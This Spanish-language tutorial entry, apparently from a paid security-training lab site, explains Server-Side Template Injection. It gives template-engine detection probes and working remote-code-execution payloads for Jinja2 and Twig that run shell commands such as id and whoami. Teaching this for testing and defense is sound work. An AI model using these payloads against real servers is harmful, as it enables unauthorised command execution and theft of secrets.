Nuevos labs cada semana — Accede a todos desde 5€/mes

SSTI

Crítico

Server-Side Template Injection

Definición

Server-Side Template Injection (SSTI) ocurre cuando la entrada del usuario se inserta directamente en una plantilla del servidor (Jinja2, Twig, Freemarker, etc.) sin sanitización. El atacante puede inyectar expresiones del motor de plantillas para ejecutar código arbitrario en el servidor.

Impacto

Ejecución remota de código (RCE) en el servidorLectura de archivos del sistemaAcceso a variables de entorno y secretosCompromiso total del servidorMovimiento lateral en la red interna

Ejemplos

Detección de SSTI con polyglot

Primero se detecta si existe SSTI usando expresiones matemáticas simples. Si el servidor devuelve el resultado calculado (49), se procede a identificar el motor de plantillas y usar payloads específicos para obtener ejecución de código.

# Payload de detección (funciona en múltiples motores)
{{7*7}}
${7*7}
<%= 7*7 %>

# Si la respuesta muestra "49", el motor de plantillas está procesando la entrada

# Jinja2 (Python) - RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Twig (PHP) - RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

Practica SSTI con labs reales

Aplica lo que has aprendido en entornos seguros basados en reportes de bug bounty.

Ver labs de práctica